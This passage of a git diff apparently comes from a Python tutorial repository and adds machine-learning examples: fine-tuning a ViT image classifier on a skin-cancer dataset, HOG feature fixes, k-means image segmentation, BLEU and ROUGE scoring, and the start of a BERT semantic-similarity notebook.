+          if 'filename' in part:
+              filename = part.split('=')[1].strip('"')
+  if not filename:
+      filename = os.path.basename(url)
+  block_size = 1024 # 1 Kibibyte
+  tqdm_bar = tqdm(total=total_size, unit='iB', unit_scale=True)
+  with open(filename, 'wb') as file:
+      for data in response.iter_content(block_size):
+          tqdm_bar.update(len(data))
+          file.write(data)
+  tqdm_bar.close()
+  print(f"Downloaded {filename} ({total_size} bytes)")
+  return filename
+
+# %%
+import zipfile
+import os
+
+def download_and_extract_dataset():
+  # dataset from https://github.com/udacity/dermatologist-ai
+  # 5.3GB
+  train_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip"
+  # 824.5MB
+  valid_url = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip"
+  # 5.1GB
+  test_url  = "https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip"
+  for i, download_link in enumerate([valid_url, train_url, test_url]):
+    data_dir = get_file(download_link)
+    print("Extracting", download_link)
+    with zipfile.ZipFile(data_dir, "r") as z:
+      z.extractall("data")
+    # remove the temp file
+    os.remove(data_dir)
+
+# comment the below line if you already downloaded the dataset
+download_and_extract_dataset()
+
+# %%
+from datasets import load_dataset
+
+# load the custom dataset
+ds = load_dataset("imagefolder", data_dir="data")
+
+# %% [markdown]
+# # Exploring the Data
+
+# %%
+ds
+
+# %%
+labels = ds["train"].features["label"]
+labels
+
+# %%
+labels.int2str(ds["train"][532]["label"])
+
+# %%
+import random
+import matplotlib.pyplot as plt
+
+def show_image_grid(dataset, split, grid_size=(4,4)):
+    # Select random images from the given split
+    indices = random.sample(range(len(dataset[split])), grid_size[0]*grid_size[1])
+    images = [dataset[split][i]["image"] for i in indices]
+    labels = [dataset[split][i]["label"] for i in indices]
+    
+    # Display the images in a grid
+    fig, axes = plt.subplots(nrows=grid_size[0], ncols=grid_size[1], figsize=(8,8))
+    for i, ax in enumerate(axes.flat):
+        ax.imshow(images[i])
+        ax.axis('off')
+        ax.set_title(ds["train"].features["label"].int2str(labels[i]))
+    
+    plt.show()
+
+# %%
+show_image_grid(ds, "train")
+
+# %% [markdown]
+# # Preprocessing the Data
+
+# %%
+def transform(examples):
+  # convert all images to RGB format, then preprocessing it
+  # using our image processor
+  inputs = image_processor([img.convert("RGB") for img in examples["image"]], return_tensors="pt")
+  # we also shouldn't forget about the labels
+  inputs["labels"] = examples["label"]
+  return inputs
+
+# %%
+# use the with_transform() method to apply the transform to the dataset on the fly during training
+dataset = ds.with_transform(transform)
+
+# %%
+for item in dataset["train"]:
+  print(item["pixel_values"].shape)
+  print(item["labels"])
+  break
+
+# %%
+# extract the labels for our dataset
+labels = ds["train"].features["label"].names
+labels
+
+# %%
+import torch
+
+def collate_fn(batch):
+  return {
+      "pixel_values": torch.stack([x["pixel_values"] for x in batch]),
+      "labels": torch.tensor([x["labels"] for x in batch]),
+  }
+
+# %% [markdown]
+# # Defining the Metrics
+
+# %%
+from evaluate import load
+import numpy as np
+
+# load the accuracy and f1 metrics from the evaluate module
+accuracy = load("accuracy")
+f1 = load("f1")
+
+def compute_metrics(eval_pred):
+  # compute the accuracy and f1 scores & return them
+  accuracy_score = accuracy.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids)
+  f1_score = f1.compute(predictions=np.argmax(eval_pred.predictions, axis=1), references=eval_pred.label_ids, average="macro")
+  return {**accuracy_score, **f1_score}
+
+# %% [markdown]
+# # Training the Model
+
+# %%
+# load the ViT model
+model = ViTForImageClassification.from_pretrained(
+    model_name,
+    num_labels=len(labels),
+    id2label={str(i): c for i, c in enumerate(labels)},
+    label2id={c: str(i) for i, c in enumerate(labels)},
+    ignore_mismatched_sizes=True,
+)
+
+# %%
+from transformers import TrainingArguments
+
+training_args = TrainingArguments(
+  output_dir="./vit-base-food", # output directory
+  # output_dir="./vit-base-skin-cancer",
+  per_device_train_batch_size=32, # batch size per device during training
+  evaluation_strategy="steps",    # evaluation strategy to adopt during training
+  num_train_epochs=3,             # total number of training epochs
+  # fp16=True,                    # use mixed precision
+  save_steps=1000,                # number of update steps before saving checkpoint
+  eval_steps=1000,                # number of update steps before evaluating
+  logging_steps=1000,             # number of update steps before logging
+  # save_steps=50,
+  # eval_steps=50,
+  # logging_steps=50,
+  save_total_limit=2,             # limit the total amount of checkpoints on disk
+  remove_unused_columns=False,    # remove unused columns from the dataset
+  push_to_hub=False,              # do not push the model to the hub
+  report_to='tensorboard',        # report metrics to tensorboard
+  load_best_model_at_end=True,    # load the best model at the end of training
+)
+
+
+# %%
+from transformers import Trainer
+
+trainer = Trainer(
+    model=model,                        # the instantiated 🤗 Transformers model to be trained
+    args=training_args,                 # training arguments, defined above
+    data_collator=collate_fn,           # the data collator that will be used for batching
+    compute_metrics=compute_metrics,    # the metrics function that will be used for evaluation
+    train_dataset=dataset["train"],     # training dataset
+    eval_dataset=dataset["validation"], # evaluation dataset
+    tokenizer=image_processor,          # the processor that will be used for preprocessing the images
+)
+
+# %%
+# start training
+trainer.train()
+
+# %%
+# trainer.evaluate(dataset["test"])
+trainer.evaluate()
+
+# %%
+# start tensorboard
+# %load_ext tensorboard
+%reload_ext tensorboard
+%tensorboard --logdir ./vit-base-food/runs
+
+# %% [markdown]
+# ## Alternatively: Training using PyTorch Loop
+# Run the two below cells to fine-tune using a regular PyTorch loop if you want.
+
+# %%
+# Training loop
+from torch.utils.tensorboard import SummaryWriter
+from torch.optim import AdamW
+from torch.utils.data import DataLoader
+
+batch_size = 32
+
+train_dataset_loader = DataLoader(dataset["train"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)
+valid_dataset_loader = DataLoader(dataset["validation"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)
+
+# define the optimizer
+optimizer = AdamW(model.parameters(), lr=1e-5)
+
+log_dir = "./image-classification/tensorboard"
+summary_writer = SummaryWriter(log_dir=log_dir)
+
+num_epochs = 3
+model = model.to(device)
+# print some statistics before training
+# number of training steps
+n_train_steps = num_epochs * len(train_dataset_loader)
+# number of validation steps
+n_valid_steps = len(valid_dataset_loader)
+# current training step
+current_step = 0
+# logging, eval & save steps
+save_steps = 1000
+
+def compute_metrics(eval_pred):
+  accuracy_score = accuracy.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids)
+  f1_score = f1.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids, average="macro")
+  return {**accuracy_score, **f1_score}
+
+# %%
+for epoch in range(num_epochs):
+    # set the model to training mode
+    model.train()
+    # initialize the training loss
+    train_loss = 0
+    # initialize the progress bar
+    progress_bar = tqdm(range(current_step, n_train_steps), "Training", dynamic_ncols=True, ncols=80)
+    for batch in train_dataset_loader:
+      if (current_step+1) % save_steps == 0:
+        ### evaluation code ###
+        # evaluate on the validation set
+        # if the current step is a multiple of the save steps
+        print()
+        print(f"Validation at step {current_step}...")
+        print()
+        # set the model to evaluation mode
+        model.eval()
+        # initialize our lists that store the predictions and the labels
+        predictions, labels = [], []
+        # initialize the validation loss
+        valid_loss = 0
+        for batch in valid_dataset_loader:
+            # get the batch
+            pixel_values = batch["pixel_values"].to(device)
+            label_ids = batch["labels"].to(device)
+            # forward pass
+            outputs = model(pixel_values=pixel_values, labels=label_ids)
+            # get the loss
+            loss = outputs.loss
+            valid_loss += loss.item()
+            # free the GPU memory
+            logits = outputs.logits.detach().cpu()
+            # add the predictions to the list
+            predictions.extend(logits.argmax(dim=-1).tolist())
+            # add the labels to the list
+            labels.extend(label_ids.tolist())
+        # make the EvalPrediction object that the compute_metrics function expects
+        eval_prediction = EvalPrediction(predictions=predictions, label_ids=labels)
+        # compute the metrics
+        metrics = compute_metrics(eval_prediction)
+        # print the stats
+        print()
+        print(f"Epoch: {epoch}, Step: {current_step}, Train Loss: {train_loss / save_steps:.4f}, " + 
+              f"Valid Loss: {valid_loss / n_valid_steps:.4f}, Accuracy: {metrics['accuracy']}, " +
+              f"F1 Score: {metrics['f1']}")
+        print()
+        # log the metrics
+        summary_writer.add_scalar("valid_loss", valid_loss / n_valid_steps, global_step=current_step)
+        summary_writer.add_scalar("accuracy", metrics["accuracy"], global_step=current_step)
+        summary_writer.add_scalar("f1", metrics["f1"], global_step=current_step)
+        # save the model
+        model.save_pretrained(f"./vit-base-food/checkpoint-{current_step}")
+        image_processor.save_pretrained(f"./vit-base-food/checkpoint-{current_step}")
+        # get the model back to train mode
+        model.train()
+        # reset the train and valid loss
+        train_loss, valid_loss = 0, 0
+      ### training code below ###
+      # get the batch & convert to tensor
+      pixel_values = batch["pixel_values"].to(device)
+      labels = batch["labels"].to(device)
+      # forward pass
+      outputs = model(pixel_values=pixel_values, labels=labels)
+      # get the loss
+      loss = outputs.loss
+      # backward pass
+      loss.backward()
+      # update the weights
+      optimizer.step()
+      # zero the gradients
+      optimizer.zero_grad()
+      # log the loss
+      loss_v = loss.item()
+      train_loss += loss_v
+      # increment the step
+      current_step += 1
+      progress_bar.update(1)
+      # log the training loss
+      summary_writer.add_scalar("train_loss", loss_v, global_step=current_step)
+        
+
+# %% [markdown]
+# # Performing Inference
+
+# %%
+# load the best model, change the checkpoint number to the best checkpoint
+# if the last checkpoint is the best, then ignore this cell
+best_checkpoint = 7000
+# best_checkpoint = 150
+model = ViTForImageClassification.from_pretrained(f"./vit-base-food/checkpoint-{best_checkpoint}").to(device)
+# model = ViTForImageClassification.from_pretrained(f"./vit-base-skin-cancer/checkpoint-{best_checkpoint}").to(device)
+
+# %%
+get_prediction(model, "https://images.pexels.com/photos/858496/pexels-photo-858496.jpeg?auto=compress&cs=tinysrgb&w=600&lazy=load")
+
+# %%
+def get_prediction_probs(model, url_or_path, num_classes=3):
+    # load the image
+    img = load_image(url_or_path)
+    # preprocessing the image
+    pixel_values = image_processor(img, return_tensors="pt")["pixel_values"].to(device)
+    # perform inference
+    output = model(pixel_values)
+    # get the top k classes and probabilities
+    probs, indices = torch.topk(output.logits.softmax(dim=1), k=num_classes)
+    # get the class labels
+    id2label = model.config.id2label
+    classes = [id2label[idx.item()] for idx in indices[0]]
+    # convert the probabilities to a list
+    probs = probs.squeeze().tolist()
+    # create a dictionary with the class names and probabilities
+    results = dict(zip(classes, probs))
+    return results
+
+# %%
+# example 1
+get_prediction_probs(model, "https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600")
+
+# %%
+# example 2
+get_prediction_probs(model, "https://images.pexels.com/photos/920220/pexels-photo-920220.jpeg?auto=compress&cs=tinysrgb&w=600")
+
+# %%
+# example 3
+get_prediction_probs(model, "https://images.pexels.com/photos/3338681/pexels-photo-3338681.jpeg?auto=compress&cs=tinysrgb&w=600")
+
+# %%
+# example 4
+get_prediction_probs(model, "https://images.pexels.com/photos/806457/pexels-photo-806457.jpeg?auto=compress&cs=tinysrgb&w=600", num_classes=10)
+
+# %%
+get_prediction_probs(model, "https://images.pexels.com/photos/1624487/pexels-photo-1624487.jpeg?auto=compress&cs=tinysrgb&w=600")
+
+
diff --git a/machine-learning/finetuning-vit-image-classification/requirements.txt b/machine-learning/finetuning-vit-image-classification/requirements.txt
new file mode 100644
index 00000000..f39fc918
--- /dev/null
+++ b/machine-learning/finetuning-vit-image-classification/requirements.txt
@@ -0,0 +1,4 @@
+torch
+transformers
+evaluate
+datasets
diff --git a/machine-learning/hog-feature-extraction/hog.ipynb b/machine-learning/hog-feature-extraction/hog.ipynb
index 0b6c2852..8158380a 100644
--- a/machine-learning/hog-feature-extraction/hog.ipynb
+++ b/machine-learning/hog-feature-extraction/hog.ipynb
@@ -69,7 +69,7 @@
    "source": [
     "#creating hog features\n",
     "fd, hog_image = hog(resized_img, orientations=9, pixels_per_cell=(8, 8),\n",
-    "                \tcells_per_block=(2, 2), visualize=True, multichannel=True)\n",
+    "                \tcells_per_block=(2, 2), visualize=True, channel_axis=2)\n",
     "print(fd.shape)\n",
     "plt.axis(\"off\")\n",
     "plt.imshow(hog_image, cmap=\"gray\")"
@@ -94,4 +94,4 @@
    "source": []
   }
  ]
-}
\ No newline at end of file
+}
diff --git a/machine-learning/hog-feature-extraction/hog.py b/machine-learning/hog-feature-extraction/hog.py
index be7c0fed..1adb2acf 100644
--- a/machine-learning/hog-feature-extraction/hog.py
+++ b/machine-learning/hog-feature-extraction/hog.py
@@ -19,7 +19,7 @@
 
 #creating hog features
 fd, hog_image = hog(resized_img, orientations=9, pixels_per_cell=(8, 8),
-                	cells_per_block=(2, 2), visualize=True, multichannel=True)
+                	cells_per_block=(2, 2), visualize=True, channel_axis=-1)
 print(fd.shape)
 print(hog_image.shape)
 plt.axis("off")
@@ -28,4 +28,4 @@
 
 # save the images
 plt.imsave("resized_img.jpg", resized_img)
-plt.imsave("hog_image.jpg", hog_image, cmap="gray")
\ No newline at end of file
+plt.imsave("hog_image.jpg", hog_image, cmap="gray")
diff --git a/machine-learning/kmeans-image-segmentation/refactored_kmeans_segmentation.py b/machine-learning/kmeans-image-segmentation/refactored_kmeans_segmentation.py
new file mode 100644
index 00000000..639f5307
--- /dev/null
+++ b/machine-learning/kmeans-image-segmentation/refactored_kmeans_segmentation.py
@@ -0,0 +1,55 @@
+import cv2
+import numpy as np
+import matplotlib.pyplot as plt
+import sys
+
+def read_image(file_path):
+    """Read the image and convert it to RGB."""
+    image = cv2.imread(file_path)
+    return cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
+
+def preprocess_image(image):
+    """Reshape the image to a 2D array of pixels and 3 color values (RGB) and convert to float."""
+    pixel_values = image.reshape((-1, 3))
+    return np.float32(pixel_values)
+
+def perform_kmeans_clustering(pixel_values, k=3):
+    """Perform k-means clustering on the pixel values."""
+    criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2)
+    compactness, labels, centers = cv2.kmeans(pixel_values, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS)
+    return compactness, labels, np.uint8(centers)
+
+def create_segmented_image(pixel_values, labels, centers):
+    """Create a segmented image using the cluster centroids."""
+    segmented_image = centers[labels.flatten()]
+    return segmented_image.reshape(image.shape)
+
+def create_masked_image(image, labels, cluster_to_disable):
+    """Create a masked image by disabling a specific cluster."""
+    masked_image = np.copy(image).reshape((-1, 3))
+    masked_image[labels.flatten() == cluster_to_disable] = [0, 0, 0]
+    return masked_image.reshape(image.shape)
+
+def display_image(image):
+    """Display the image using matplotlib."""
+    plt.imshow(image)
+    plt.show()
+
+if __name__ == "__main__":
+    image_path = sys.argv[1]
+    k = int(sys.argv[2])
+    # read the image
+    image = read_image(image_path)
+    # preprocess the image
+    pixel_values = preprocess_image(image)
+    # compactness is the sum of squared distance from each point to their corresponding centers
+    compactness, labels, centers = perform_kmeans_clustering(pixel_values, k)
+    # create the segmented image
+    segmented_image = create_segmented_image(pixel_values, labels, centers)
+    # display the image
+    display_image(segmented_image)
+    # disable only the cluster number 2 (turn the pixel into black)
+    cluster_to_disable = 2
+    # create the masked image
+    masked_image = create_masked_image(image, labels, cluster_to_disable)
+    display_image(masked_image)
diff --git a/machine-learning/nlp/bleu-score/README.md b/machine-learning/nlp/bleu-score/README.md
new file mode 100644
index 00000000..00804391
--- /dev/null
+++ b/machine-learning/nlp/bleu-score/README.md
@@ -0,0 +1 @@
+# [How to Calculate the BLEU Score in Python](https://www.thepythoncode.com/article/bleu-score-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/bleu-score/bleu_score.py b/machine-learning/nlp/bleu-score/bleu_score.py
new file mode 100644
index 00000000..e80cfa11
--- /dev/null
+++ b/machine-learning/nlp/bleu-score/bleu_score.py
@@ -0,0 +1,33 @@
+# -*- coding: utf-8 -*-
+"""BLEU Score.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1dSsETrstp-EEGMX46nc-m_jw00nzkaNZ
+"""
+
+from nltk.translate.bleu_score import sentence_bleu, corpus_bleu
+
+# Prepare the reference sentences
+reference1 = ['I', 'love', 'eating', 'ice', 'cream']
+reference2 = ['I', 'enjoy', 'eating', 'ice', 'cream']
+
+# Prepare the candidate sentence
+translation = ['I', 'love', 'eating', 'ice', 'cream']
+
+# Calculate the BLEU score for a single sentence
+bleu_score = sentence_bleu([reference1, reference2], translation)
+print("BLEU Score: ", bleu_score)
+
+# Prepare the reference sentences and candidate sentences for multiple translations
+references = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'enjoys', 'eating', 'cake']]
+translations = [['I', 'love', 'eating', 'ice', 'cream'], ['He', 'likes', 'to', 'eat', 'cake']]
+ 
+# Create a list of reference lists
+references_list = [[ref] for ref in references]
+ 
+# Calculate BLEU score for the entire corpus
+bleu_score_corpus = corpus_bleu(references_list, translations)
+print("Corpus BLEU Score: ", bleu_score_corpus)
+
diff --git a/machine-learning/nlp/bleu-score/requirements.txt b/machine-learning/nlp/bleu-score/requirements.txt
new file mode 100644
index 00000000..13b03ed0
--- /dev/null
+++ b/machine-learning/nlp/bleu-score/requirements.txt
@@ -0,0 +1 @@
+ntlk
\ No newline at end of file
diff --git a/machine-learning/nlp/rouge-score/README.md b/machine-learning/nlp/rouge-score/README.md
new file mode 100644
index 00000000..21d86a14
--- /dev/null
+++ b/machine-learning/nlp/rouge-score/README.md
@@ -0,0 +1 @@
+# [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python)
\ No newline at end of file
diff --git a/machine-learning/nlp/rouge-score/requirements.txt b/machine-learning/nlp/rouge-score/requirements.txt
new file mode 100644
index 00000000..7f26c102
--- /dev/null
+++ b/machine-learning/nlp/rouge-score/requirements.txt
@@ -0,0 +1 @@
+rouge-score
\ No newline at end of file
diff --git a/machine-learning/nlp/rouge-score/rouge.py b/machine-learning/nlp/rouge-score/rouge.py
new file mode 100644
index 00000000..4b00c4c7
--- /dev/null
+++ b/machine-learning/nlp/rouge-score/rouge.py
@@ -0,0 +1,22 @@
+from rouge_score import rouge_scorer
+
+scorer = rouge_scorer.RougeScorer(['rouge1', 'rouge2', 'rougeL'], use_stemmer=True)
+
+# Single reference
+candidate_summary = "the cat was found under the bed"
+reference_summary = "the cat was under the bed"
+scores = scorer.score(reference_summary, candidate_summary)
+for key in scores:
+   print(f'{key}: {scores[key]}')
+
+# Multiple references
+candidate_summary = "the cat was found under the bed"
+reference_summaries = ["the cat was under the bed", "found a cat under the bed"]
+scores = {key: [] for key in ['rouge1', 'rouge2', 'rougeL']}
+for ref in reference_summaries:
+   temp_scores = scorer.score(ref, candidate_summary)
+   for key in temp_scores:
+       scores[key].append(temp_scores[key])
+
+for key in scores:
+   print(f'{key}:\n{scores[key]}')
\ No newline at end of file
diff --git a/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb
new file mode 100644
index 00000000..952a0f75
--- /dev/null
+++ b/machine-learning/nlp/semantic-textual-similarity/FinetuningBERTForSemanticTextualSimilarity_PythonCodeTutorial.ipynb
@@ -0,0 +1,1010 @@
+{
+  "cells": [
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "E2Cu87RMWw-P"
+      },
+      "source": [
+        "### 1. Install and import the required packages"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "4Px8aik4VaOY"
+      },
+      "outputs": [],
+      "source": [
+        "!pip install transformers sentence-transformers datasets"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "RUsTXFi1bNRI"
+      },
+      "outputs": [],
+      "source": [
+        "from datasets import load_dataset\n",
+        "from sentence_transformers import SentenceTransformer, models\n",
+        "from transformers import BertTokenizer\n",
+        "from transformers import get_linear_schedule_with_warmup\n",
+        "import torch\n",
+        "from torch.optim import AdamW\n",
+        "from torch.utils.data import DataLoader\n",
+        "from tqdm import tqdm\n",
+        "import time\n",
+        "import datetime\n",
+        "import random\n",
+        "import numpy as np\n",
+        "import pandas as pd"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "zMdAdDQbzWmC"
+      },
+      "source": [
+        "### 2. Use Google Colab's GPU for training"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "wB7TNNSrziMu",
+        "outputId": "53715022-a7af-439f-f978-637799295f85"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "There are 1 GPU(s) available.\n",
+            "We will use the GPU: Tesla T4\n"
+          ]
+        }
+      ],
+      "source": [
+        "if torch.cuda.is_available():    \n",
+        "    device = torch.device(\"cuda\")\n",
+        "    print(f'There are {torch.cuda.device_count()} GPU(s) available.')\n",
+        "    print('We will use the GPU:', torch.cuda.get_device_name(0))\n",
+        "else:\n",
+        "    print('No GPU available, using the CPU instead.')\n",
+        "    device = torch.device(\"cpu\")"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "kQ1Eel-3W-5b"
+      },
+      "source": [
+        "### **3.** Load and preview the Semantic Textual Similarity Benchmark (STSB) dataset"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "mgwlDDjtWM71"
+      },
+      "outputs": [],
+      "source": [
+        "# Load the English version of the STSB dataset\n",
+        "dataset = load_dataset(\"stsb_multi_mt\", \"en\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "BtUWgi0h_DjR",
+        "outputId": "bcd36c5b-7a37-4c8c-8bb5-8a46e7ed4d5c"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "DatasetDict({\n",
+            "    train: Dataset({\n",
+            "        features: ['sentence1', 'sentence2', 'similarity_score'],\n",
+            "        num_rows: 5749\n",
+            "    })\n",
+            "    test: Dataset({\n",
+            "        features: ['sentence1', 'sentence2', 'similarity_score'],\n",
+            "        num_rows: 1379\n",
+            "    })\n",
+            "    dev: Dataset({\n",
+            "        features: ['sentence1', 'sentence2', 'similarity_score'],\n",
+            "        num_rows: 1500\n",
+            "    })\n",
+            "})\n"
+          ]
+        }
+      ],
+      "source": [
+        "print(dataset)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "FEHZl4WeWv6r",
+        "outputId": "69885fad-1282-48e8-ab5e-29da8c548a85"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "A sample from the STSB dataset's training split:\n",
+            "{'sentence1': 'A man is slicing potatoes.', 'sentence2': 'A woman is peeling potato.', 'similarity_score': 2.200000047683716}\n"
+          ]
+        }
+      ],
+      "source": [
+        "print(\"A sample from the STSB dataset's training split:\")\n",
+        "print(dataset['train'][98])"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "OjMKsIuxYv6D"
+      },
+      "source": [
+        "### **4.** Define the dataset loader class\n"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "f2Hc2uwabgJa"
+      },
+      "outputs": [],
+      "source": [
+        "# Instantiate the BERT tokenizer\n",
+        "# You can use larger variants of the model, here we're using the base model\n",
+        "tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "uEI1p5-SaM8t"
+      },
+      "outputs": [],
+      "source": [
+        "class STSBDataset(torch.utils.data.Dataset):\n",
+        "\n",
+        "    def __init__(self, dataset):\n",
+        "\n",
+        "        # Normalize the similarity scores in the dataset\n",
+        "        similarity_scores = [i['similarity_score'] for i in dataset]\n",
+        "        self.normalized_similarity_scores = [i/5.0 for i in similarity_scores]\n",
+        "        self.first_sentences = [i['sentence1'] for i in dataset]\n",
+        "        self.second_sentences = [i['sentence2'] for i in dataset]\n",
+        "        self.concatenated_sentences = [[str(x), str(y)] for x,y in zip(self.first_sentences, self.second_sentences)]\n",
+        "\n",
+        "    def __len__(self):\n",
+        "\n",
+        "        return len(self.concatenated_sentences)\n",
+        "\n",
+        "    def get_batch_labels(self, idx):\n",
+        "\n",
+        "        return torch.tensor(self.normalized_similarity_scores[idx])\n",
+        "\n",
+        "    def get_batch_texts(self, idx):\n",
+        "\n",
+        "        return tokenizer(self.concatenated_sentences[idx], padding='max_length', max_length=128, truncation=True, return_tensors=\"pt\")\n",
+        "\n",
+        "    def __getitem__(self, idx):\n",
+        "\n",
+        "        batch_texts = self.get_batch_texts(idx)\n",
+        "        batch_y = self.get_batch_labels(idx)\n",
+        "\n",
+        "        return batch_texts, batch_y\n",
+        "\n",
+        "\n",
+        "def collate_fn(texts):\n",
+        "\n",
+        "    input_ids = texts['input_ids']\n",
+        "    attention_masks = texts['attention_mask']\n",
+        "\n",
+        "    features = [{'input_ids': input_id, 'attention_mask': attention_mask}\n",
+        "                for input_id, attention_mask in zip(input_ids, attention_masks)]\n",
+        "\n",
+        "    return features"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "w9ICUkr20JbP"
+      },
+      "source": [
+        "### 5. Define the model class based on BERT"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "EgTYEHC8b7kb"
+      },
+      "outputs": [],
+      "source": [
+        "class BertForSTS(torch.nn.Module):\n",
+        "\n",
+        "    def __init__(self):\n",
+        "\n",
+        "        super(BertForSTS, self).__init__()\n",
+        "        self.bert = models.Transformer('bert-base-uncased', max_seq_length=128)\n",
+        "        self.pooling_layer = models.Pooling(self.bert.get_word_embedding_dimension())\n",
+        "        self.sts_bert = SentenceTransformer(modules=[self.bert, self.pooling_layer])\n",
+        "\n",
+        "    def forward(self, input_data):\n",
+        "        output = self.sts_bert(input_data)['sentence_embedding']\n",
+        "        return output"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "yMNCebmb4Hlt"
+      },
+      "outputs": [],
+      "source": [
+        "# Instantiate the model and move it to GPU\n",
+        "model = BertForSTS()\n",
+        "model.to(device)"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "IXqIA_D_2nYC"
+      },
+      "source": [
+        "### 6. Define the Cosine Similarity loss function"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "ty7Q630Ob96f"
+      },
+      "outputs": [],
+      "source": [
+        "class CosineSimilarityLoss(torch.nn.Module):\n",
+        "\n",
+        "    def __init__(self,  loss_fn=torch.nn.MSELoss(), transform_fn=torch.nn.Identity()):\n",
+        "        super(CosineSimilarityLoss, self).__init__()\n",
+        "        self.loss_fn = loss_fn\n",
+        "        self.transform_fn = transform_fn\n",
+        "        self.cos_similarity = torch.nn.CosineSimilarity(dim=1)\n",
+        "\n",
+        "    def forward(self, inputs, labels):\n",
+        "        emb_1 = torch.stack([inp[0] for inp in inputs])\n",
+        "        emb_2 = torch.stack([inp[1] for inp in inputs])\n",
+        "        outputs = self.transform_fn(self.cos_similarity(emb_1, emb_2))\n",
+        "        return self.loss_fn(outputs, labels.squeeze())"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "B688H4qY26ZG"
+      },
+      "source": [
+        "### 7. Prepare the training and validation data split"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "PrQvEJgC4VeB",
+        "outputId": "2ce3100a-727a-4909-9481-7d6ff0464c12"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "5,749 training samples\n",
+            "1,500 validation samples\n"
+          ]
+        }
+      ],
+      "source": [
+        "train_ds = STSBDataset(dataset['train'])\n",
+        "val_ds = STSBDataset(dataset['dev'])\n",
+        "\n",
+        "# Create a 90-10 train-validation split.\n",
+        "train_size = len(train_ds)\n",
+        "val_size = len(val_ds)\n",
+        "\n",
+        "print('{:>5,} training samples'.format(train_size))\n",
+        "print('{:>5,} validation samples'.format(val_size))"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "eUPorlzExygm"
+      },
+      "outputs": [],
+      "source": [
+        "batch_size = 8\n",
+        "\n",
+        "train_dataloader = DataLoader(\n",
+        "            train_ds,  # The training samples.\n",
+        "            num_workers = 4,\n",
+        "            batch_size = batch_size, # Use this batch size.\n",
+        "            shuffle=True # Select samples randomly for each batch\n",
+        "        )\n",
+        "\n",
+        "validation_dataloader = DataLoader(\n",
+        "            val_ds,\n",
+        "            num_workers = 4,\n",
+        "            batch_size = batch_size # Use the same batch size\n",
+        "        )"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "5avkJtGn2-al"
+      },
+      "source": [
+        "### 8. Define the Optimizer and Scheduler"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "lB_HcVbl3EZw"
+      },
+      "outputs": [],
+      "source": [
